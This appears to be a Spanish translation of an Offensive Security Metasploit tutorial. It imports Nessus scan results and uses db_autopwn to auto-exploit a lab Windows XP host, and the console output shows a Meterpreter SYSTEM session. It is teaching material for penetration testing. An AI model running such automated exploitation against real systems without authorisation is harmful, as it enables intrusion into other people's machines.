Trabajando con Nessus
Nessus es un conocido y popular escaneador de vulnerabilidades que es gratis para uso personal, uno no comercial que fue lanzado por primera vez en 1998 por Renaurd Deraison y actualmente publicado por Tenable Network Security. Tambien hay un proyecto spin-off de Nesses 2, llamado OpenVAS, que es publicado bajo licencia GPL. Utilizando un gran numero de comprobaciones de vulnerabilidad. Metasploit acepta archivos de resultados de escaneos de vulnerabilidad de ambos, tanto Nessus y OpenVAS en formato de archivo nbe.
Primero veremos una exploracion de Nessus 4:
Al terminar el escaneo de vulnerabilidad, salvamos los resultados en formato nbe y luego ejecutamos msfconsole. Lo siguiente, sera crear a una nueva base de datos para poder leer los resultados del archivo.
root@bt4:/pentest/exploits/framework3# ./msfconsole
...
msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
Ya hemos creado la base de datos, luego usamos el comando 'help', el cual presentara muchas mas opciones.
msf > help
...snip...
Database Backend Commands
=========================
Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_create Create a brand new database
db_del_host Delete one or more hosts from the database
db_del_port Delete one port from the database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_hosts List all hosts in the database
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database
msf >
Asi que vamos e importemos el archivo nbe usando el comando 'db_import_nessus_nbe' segido de la direccion del archivo. Despues de importar el resultado, podemos ejecutar el comando 'db_hosts' para listar los hosts que se encuentran en el archivo nbe.
msf > db_import_nessus_nbe /root/docs/115_scan.nbe
msf > db_hosts
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Host: 192.168.1.115 Status: alive OS:
Vemos exactamente lo que estamos esperando a ver. A continuacion ejecutamos el comando 'db_services' el cual va a enumerar todos los servicios que se detectaron en la sistema escaneado.
msf > db_services
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=135 proto=tcp state=up name=epmap
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=139 proto=tcp state=up name=netbios-ssn
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=22 proto=tcp state=up name=ssh
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=137 proto=udp state=up name=netbios-ns
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=123 proto=udp state=up name=ntp
Finalmente, y el mas importante, el comando 'db_vulns' que listara todas las vulnerabilidades que son reportadas por Nessus y registradas en el archivo.
msf > db_vulns
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=22 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs=NSS-1.3.6.1.4.1.25623.1.0.50282
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=139 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=137 proto=udp name=NSS-1.3.6.1.4.1.25623.1.0.10150 refs=NSS-1.3.6.1.4.1.25623.1.0.10150,CVE-1999-0621
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.10394 refs=NSS-1.3.6.1.4.1.25623.1.0.10394
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=123 proto=udp name=NSS-1.3.6.1.4.1.25623.1.0.10884 refs=NSS-1.3.6.1.4.1.25623.1.0.10884
Toda esta enumeracion y analisis nos llevaron a algo...db_autopwn.
db_autopwn leera todos los puertos, servicios y las vulnerabilidades contenidas en los resultados del archivo nbe, si coincide con algun exploit y es compatible con el, intentara explotarla automagicamente. Ejecutando 'db_autopwn -h' listara todas las opciones disponibles.
msf > db_autopwn -h
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-q Disable exploit module output
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
Vamos a ejecutar 'db_autopwn -x -e' para seleccionar el exploit basado en la vulnerabilidad (en lugar del puerto como ocurria con los resultados de nmap) y explotar todos los objetivos. db_autopwn no es una herramienta sigilosa por defecto, use reverse Meterpreter shell. Veamos que pasa cuando la ejecutamos.
msf > db_autopwn -x -e
[*] (8/38): Launching exploit/multi/samba/nttrans against 192.168.1.115:139...
[*] (9/38): Launching exploit/windows/smb/psexec against 192.168.1.115:445...
[*] (10/38): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.1.115:445...
[-] Exploit failed: The connection was refused by the remote host (192.168.1.115:22).
[*] (35/38): Launching exploit/windows/smb/ms03_049_netapi against 192.168.1.115:445...
[*] Started bind handler
[-] Exploit failed: No encoders encoded the buffer successfully.
msf >
[*] Binding to 3d742890-397c-11cf-9bf1-00805f88cb72:1.0@ncacn_np:192.168.1.115[alert] ...
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.115[lsarpc]...
[-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:40814 -> 192.168.1.115:14198)
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.101:40814 -> 192.168.1.115:14198
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: DOOKIE-FA154354
OS : Windows XP (Build 2600, Service Pack 2).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Como puede ver, esta caracteristicas es muy poderosa. No va agarrar todo en el sistema remoto, y hara mucho ruido, pero hay momentos y lugares para hacer ruido como tambien para ser sigilosos. Esto demuestra la versatilidad del framework, y alguna de las muchas posibilidades de integracion posibles con otras herramientas.
- Original by www.offensive-security.com
- Traslated by Jhyx
1 comentarios:
Mil gracias por sus aportes tan didacticos, soy estudiante de informática aqui en Venezuela.
Publicar un comentario